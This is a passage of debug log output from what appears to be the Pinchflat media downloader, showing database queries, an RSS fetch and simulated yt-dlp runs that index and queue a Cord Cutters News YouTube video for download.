LIMIT 1 [] 11:20:46.312 [debug] QUERY OK source="media_profiles" db=0.0ms idle=739.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:20:46.312 [debug] QUERY OK source="settings" db=0.0ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:20:46.312 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 11:20:46.507 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 11:20:46.508 [debug] QUERY OK source="media_items" db=0.2ms idle=195.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 11:20:46.508 [debug] QUERY OK source="settings" db=0.0ms idle=196.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:20:46.508 [debug] QUERY OK source="settings" db=0.1ms idle=196.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:20:46.508 [debug] Running yt-dlp command for action: get_media_attributes 11:20:46.509 [debug] QUERY OK source="settings" db=0.1ms idle=196.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:20:46.509 [debug] QUERY OK source="settings" db=0.0ms idle=196.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:20:46.509 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:20:46.509 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=r0ZP1ULJLyg --simulate --skip-download --output /downloads/Cord Cutters News/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/5e/fc/5efcfe476f4145ec936531409c7ad126a8737c902a42e65489aea7545d0a61db.json --cookies /config/extras/cookies.txt --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 11:20:49.201 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=r0ZP1ULJLyg --simulate --skip-download --output /downloads/Cord Cutters News/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/5e/fc/5efcfe476f4145ec936531409c7ad126a8737c902a42e65489aea7545d0a61db.json --cookies /config/extras/cookies.txt --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 11:20:49.201 [debug] QUERY OK source="sources" db=0.1ms idle=1628.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:20:49.205 [debug] QUERY OK source="media_items" db=3.4ms idle=1629.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-24 10:59:09Z], 1] 11:20:49.206 [debug] QUERY OK source="media_items" db=1.0ms idle=1632.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today in Cord Cutting Today for July 24, 2026 we take a look at some of the biggest stories in the world of cord cutting including: Everything You Need to Know About Paramount Buying Warner Bros. Discovery.\n\nDid you know Luke has a second YouTube channel? Subscribe to it here: https://www.youtube.com/thebreakdownwithluke\n\nEU Regulators Approve Paramount’s $110 Billion Acquisition of Warner Bros. Discovery with Key Conditions https://cordcuttersnews.com/eu-regulators-approve-paramounts-110-billion-acquisition-of-warner-bros-discovery-with-key-conditions/\n\nParamount Asks for a 3-Day Evidentiary Hearing Before Court Decides Whether to Stop Merger https://cordcuttersnews.com/paramount-asks-for-a-3-day-evidentiary-hearing-before-court-decides-whether-to-stop-merger/\n\nIf Paramount Buys Warner Bros. Discovery, It Would Become The Most Watched TV Company But Just Barely – Here is How Big Its Lead Would Be Over Disney & Even YouTube https://cordcuttersnews.com/if-paramount-buys-warner-bros-discovery-it-would-become-the-most-watched-tv-company-but-just-barely-here-is-how-big-its-lead-would-be-over-disney-even-youtube/\n\nATSC 3.0 Comes to Cleveland, Rounding Out Top 25 U.S. Markets https://cordcuttersnews.com/atsc-3-0-comes-to-cleveland-rounding-out-top-25-u-s-markets/\n\nNearly 63 Million Watched the World Cup Final as Soccer Hits a New High in America https://cordcuttersnews.com/nearly-63-million-watched-the-world-cup-final-as-soccer-hits-a-new-high-in-america/\n\nAmazon Summer Streaming Sale: Fire TV Stick 4K Plus to $19.99, or Get the 4K Max For Just $34.99, Only With These Codes https://cordcuttersnews.com/amazon-summer-streaming-sale-fire-tv-stick-4k-plus-to-19-99-or-get-the-4k-max-for-just-34-99-only-with-these-codes/\n\n37 Years Ago Today: Fox Became The Most Watched TV Network, Topping ABC, CBS, & NBC – Here is How Fox Jumped Over Its Older Rivals https://cordcuttersnews.com/37-years-ago-today-fox-became-the-most-watched-tv-network-topping-abc-cbs-nbc-here-is-how-fox-jumped-over-its-older-rivals/\n\nAmazon Expands Audible’s AI Virtual Voice Narrators to Broaden Access to Audiobooks https://cordcuttersnews.com/amazon-expands-audibles-ai-virtual-voice-narrators-to-broaden-access-to-audiobooks/\n\nPeacock Becomes Profitable For The First Time Ever – Here is How Comcast Did It https://cordcuttersnews.com/peacock-becomes-profitable-for-the-first-time-ever-here-is-how-comcast-did-it/\n\nCord Cutting 2.0 Hits Comcast Hard Again As It Loses Over 167,000 Internet Customers & 280,000 TV Customers https://cordcuttersnews.com/cord-cutting-2-0-hits-comcast-hard-again-as-it-loses-over-167000-internet-customers-280000-tv-customers/\n\nYouTube Earned Over $11 Billion in Ad Sales in Q2 2026 https://cordcuttersnews.com/youtube-earned-over-11-billion-in-ad-sales-in-q2-2026/\n\nESPN8: The Ocho Returns for Its 10th Anniversary With 74+ Hours of the Weirdest Sports on TV https://cordcuttersnews.com/espn8-the-ocho-returns-for-its-10th-anniversary-with-74-hours-of-the-weirdest-sports-on-tv/\n\nYou can sign up for our free daily newsletter here: https://cord-cutting-today.beehiiv.com/\n\nDid you know Luke has a second YouTube channel? Subscribe to it here: https://www.youtube.com/thebreakdownwithluke\n\nYou can follow us on X here: https://twitter.com/CordCuttersNews \n\nDid you know we have a Facebook group for cord cutting tech support? https://www.facebook.com/groups/CordCuttingTechSupport\n\nCheck out our Facebook Group dedicated to the best daily deals: https://www.facebook.com/groups/688897096200090\n\nPlease also follow me on Twitter here: https://twitter.com/LukeBK\n\nYou can find the Wondering Luke Channel here: https://www.youtube.com/channel/UCCPL9dULDuL-VJV7UPX1xsw\n\nYou can find the LukeBK gaming channel here: https://www.youtube.com/channel/UCehmN0CdavNp14D83m4QcrA\n\nYou can find me on Instagram here: https://www.instagram.com/cordcuttersnews/", "Everything You Need to Know About Paramount Buying Warner Bros. Discovery", "18d5fff1-0e08-4056-977a-e1b9cd0c9d5a", 867, false, "r0ZP1ULJLyg", "https://www.youtube.com/watch?v=r0ZP1ULJLyg", 0, "/downloads/Cord Cutters News/2026-07-24 Everything You Need to Know About Paramount Buying Warner Bros. Discovery/Everything You Need to Know About Paramount Buying Warner Bros. Discovery [r0ZP1ULJLyg].mp4", false, false, false, 1, [], 99, ~U[2026-07-24 10:59:09Z], ~U[2026-07-24 11:20:49Z], ~U[2026-07-24 11:20:49Z], "Today in Cord Cutting Today for July 24, 2026 we take a look at some of the biggest stories in the world of cord cutting including: Everything You Need to Know About Paramount Buying Warner Bros. Discovery.\n\nDid you know Luke has a second YouTube channel? Subscribe to it here: https://www.youtube.com/thebreakdownwithluke\n\nEU Regulators Approve Paramount’s $110 Billion Acquisition of Warner Bros. Discovery with Key Conditions https://cordcuttersnews.com/eu-regulators-approve-paramounts-110-billion-acquisition-of-warner-bros-discovery-with-key-conditions/\n\nParamount Asks for a 3-Day Evidentiary Hearing Before Court Decides Whether to Stop Merger https://cordcuttersnews.com/paramount-asks-for-a-3-day-evidentiary-hearing-before-court-decides-whether-to-stop-merger/\n\nIf Paramount Buys Warner Bros. Discovery, It Would Become The Most Watched TV Company But Just Barely – Here is How Big Its Lead Would Be Over Disney & Even YouTube https://cordcuttersnews.com/if-paramount-buys-warner-bros-discovery-it-would-become-the-most-watched-tv-company-but-just-barely-here-is-how-big-its-lead-would-be-over-disney-even-youtube/\n\nATSC 3.0 Comes to Cleveland, Rounding Out Top 25 U.S. Markets https://cordcuttersnews.com/atsc-3-0-comes-to-cleveland-rounding-out-top-25-u-s-markets/\n\nNearly 63 Million Watched the World Cup Final as Soccer Hits a New High in America https://cordcuttersnews.com/nearly-63-million-watched-the-world-cup-final-as-soccer-hits-a-new-high-in-america/\n\nAmazon Summer Streaming Sale: Fire TV Stick 4K Plus to $19.99, or Get the 4K Max For Just $34.99, Only With These Codes https://cordcuttersnews.com/amazon-summer-streaming-sale-fire-tv-stick-4k-plus-to-19-99-or-get-the-4k-max-for-just-34-99-only-with-these-codes/\n\n37 Years Ago Today: Fox Became The Most Watched TV Network, Topping ABC, CBS, & NBC – Here is How Fox Jumped Over Its Older Rivals https://cordcuttersnews.com/37-years-ago-today-fox-became-the-most-watched-tv-network-topping-abc-cbs-nbc-here-is-how-fox-jumped-over-its-older-rivals/\n\nAmazon Expands Audible’s AI Virtual Voice Narrators to Broaden Access to Audiobooks https://cordcuttersnews.com/amazon-expands-audibles-ai-virtual-voice-narrators-to-broaden-access-to-audiobooks/\n\nPeacock Becomes Profitable For The First Time Ever – Here is How Comcast Did It https://cordcuttersnews.com/peacock-becomes-profitable-for-the-first-time-ever-here-is-how-comcast-did-it/\n\nCord Cutting 2.0 Hits Comcast Hard Again As It Loses Over 167,000 Internet Customers & 280,000 TV Customers https://cordcuttersnews.com/cord-cutting-2-0-hits-comcast-hard-again-as-it-loses-over-167000-internet-customers-280000-tv-customers/\n\nYouTube Earned Over $11 Billion in Ad Sales in Q2 2026 https://cordcuttersnews.com/youtube-earned-over-11-billion-in-ad-sales-in-q2-2026/\n\nESPN8: The Ocho Returns for Its 10th Anniversary With 74+ Hours of the Weirdest Sports on TV https://cordcuttersnews (truncated) 11:20:49.206 [debug] QUERY OK source="sources" db=0.1ms idle=1633.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:20:49.207 [debug] QUERY OK source="media_profiles" db=0.0ms idle=898.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:20:49.207 [debug] QUERY OK source="media_items" db=0.1ms idle=5.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12826] 11:20:49.207 [info] Kicking off download for media item #12826 (r0ZP1ULJLyg) 11:20:49.208 [debug] QUERY OK source="tasks" db=0.0ms idle=1.0ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [615, 12826, ~U[2026-07-24 11:20:49Z], ~U[2026-07-24 11:20:49Z]] 11:20:49.210 [debug] QUERY OK source="media_items" db=2.7ms idle=1.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 11:20:49.211 [debug] QUERY OK source="sources" db=0.0ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:20:49.211 [debug] QUERY OK source="media_profiles" db=0.0ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:20:49.211 [debug] QUERY OK source="media_items" db=0.0ms idle=3.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12826] 11:20:49.211 [info] No notification servers provided for source 1 11:20:49.212 [debug] QUERY OK source="tasks" db=0.0ms idle=0.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [616, 1, ~U[2026-07-24 11:20:49Z], ~U[2026-07-24 11:20:49Z]] 11:20:49.212 [info] {"args":{"id":1},"id":612,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":2900121,"event":"job:stop","queue_time":456217,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 11:20:49.214 [info] {"args":{"id":12826},"id":615,"meta":{},"system_time":1784892049214112868,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 11:20:49.214 [debug] QUERY OK source="media_items" db=0.3ms idle=2.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12826] 11:20:49.214 [info] User scripts lifecyle file either not present or is empty. Skipping. 11:20:49.214 [debug] QUERY OK source="sources" db=0.1ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:20:49.214 [debug] QUERY OK source="media_profiles" db=0.0ms idle=2.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:20:49.215 [debug] QUERY OK source="media_items" db=0.1ms idle=2.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12826] 11:20:49.215 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12826] 11:20:49.215 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:20:49.215 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:20:49.215 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:20:49.215 [debug] Running yt-dlp command for action: get_downloadable_status 11:20:49.216 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:20:49.216 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:20:49.216 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:20:49.216 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=r0ZP1ULJLyg --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ed/ad/edad009bafbff0d1882c9e2b8eace42a80412d4d1ea4798dd26279994c1e016b.json --cookies /config/extras/cookies.txt --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 11:20:51.774 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=r0ZP1ULJLyg --simulate --skip-download --print-to-file %(.{live_status})j 